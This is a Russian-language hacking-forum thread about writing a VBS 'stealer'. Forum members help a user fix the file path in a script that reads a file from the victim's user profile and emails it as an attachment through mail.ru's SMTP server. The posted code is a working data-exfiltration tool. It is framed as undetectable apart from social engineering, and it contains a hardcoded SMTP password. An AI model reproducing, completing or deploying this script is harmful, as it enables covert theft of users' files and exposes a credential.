• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Малварь как искусство Манн по написанию стилера с хакера


virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Речь идет о VBS : в коде никак не могу задать относительный путь к файлу , так как каждый раз имя польхователя будет разное , но очень важно чтобы путь был именно в эту папку
Попробуй:
Код:
var Shell = System.CreateObject('WScript.Shell'); 
var Path = Shell.SpecialFolders("User");

Короче Shell.SpecialFolders получает путь к нужной папке, ещё пример:

var DesktopPath = Shell.SpecialFolders("Desktop"); - Получит путь к рабочему столу.
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Да предложения интересные , но очень хочется изЪябнуться и сделать по своему ... Нашел более менне метод . Застрял на проблеме мелкой по своей сути, но что то не как не решаемой .
Речь идет о VBS : в коде никак не могу задать относительный путь к файлу , так как каждый раз имя польхователя будет разное , но очень важно чтобы путь был именно в эту папку
ПРИМЕР : %SYSTEMDRIVE%\Users\%UserName%\xxx.txt
но как это сделать в VBS не нашел или не сообразил куда нужно вставить куски кода .
В целом такая технология позволит использовать её как стилер вообще без палева , если не считать СИ.
Если есть познания в области Vbs можете подсказать как правильно дописать код?
отрывок кода:
Код:
Dim strSourceFile
Dim strContent


strSourceFile = "С:\users\harakiri\xxx.txt"

strUser = CreateObject("WScript.Network").UserName
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
strUser = CreateObject("WScript.Network").UserName

Может нет так делаю или добавить еще нужно куда ,
весь код :
Код:
Dim strSourceFile
Dim strContent
Dim strUser = CreateObject("WScript.Network").UserName
strSourceFile = "xxx.txt"

With WScript.CreateObject("Scripting.FileSystemObject")
    If .FileExists(strSourceFile) Then
        With WScript.CreateObject("CDO.Message")
            .From     = "********@list.ru"
            .To       = "********@mail.ru"
            .Subject  = "Content of file [" & strSourceFile & "]"
            
            .TextBody = strContent
            .TextBodyPart.Charset = "windows-1251"
            
            .AddAttachment strSourceFile
            
            With .Configuration.Fields
                .Item(strConstPartOfSchema & "smtpserver")       = "smtp.mail.ru"
                .Item(strConstPartOfSchema & "sendusing")        = cdoSendUsingPort
                .Item(strConstPartOfSchema & "smtpserverport")   = 465
                .Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
                .Item(strConstPartOfSchema & "sendusername")     = "******@list.ru"
                .Item(strConstPartOfSchema & "sendpassword")     = "JvsWgYxjqKYyRw6i"
                .Item(strConstPartOfSchema & "smtpusessl")       = True
                
                .Update
            End With
            
            .Send
        End With
    Else
        WScript.Echo "Source file [" & strSourceFile & "] not found."
        WScript.Quit 1
    End If
End With

WScript.Quit 0
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
Попробуй:
Код:
var Shell = System.CreateObject('WScript.Shell');
var Path = Shell.SpecialFolders("User");

Короче Shell.SpecialFolders получает путь к нужной папке, ещё пример:

var DesktopPath = Shell.SpecialFolders("Desktop"); - Получит путь к рабочему столу.
да знакома эта транскрипция только вот Не понимаю куда его вставить и добавить путь к самому файлу .
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
strSourceFile = strUser & "xxx.txt"

Можно отладить, так:
MsgBox strSourceFile

Вам-бы мат. часть покурить...

В одном случае не находит путь , в другом выдает ошибку .
Код:
Dim strSourceFile
Dim strContent


MsgBox strSourceFile
strSourceFile = strUser & "xxx.txt"

ОШИБКА : Переменная не определена: 'strUser'
В другом путь не найден .
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
MsgBox *** должен-быть ниже переменной strSourceFile.

У вас нет переменной strUser, хотя выше в коде она была, зачем вы ее убрали.

Вообще проще самому поправить и выложить, сейчас с телефона не могу...

Подсказывать тут бесполезно, курите мат. часть, либо используйте что-то готовое уже, даже тут какие-то азы нужно знать, хотя это примитив.)
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
Всё оказалось намного проще чем казалось всего одна строка .
CreateObject("WScript.Shell").ExpandEnvironmentStrings("%SYSTEMDRIVE%\Users\%UserName%\xxx.txt")

Всем огромное спасибо за помощь ! Удачи всем в начинаниях и в заканчиваниях !sm582398247
 

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Нешибко-то и помогли...

Но разобрались-же, в 90% случаев проще найти решение самому, чем спрашивать на форумах.

Тем-более тут ничего сложного нет.)
 
Верх Низ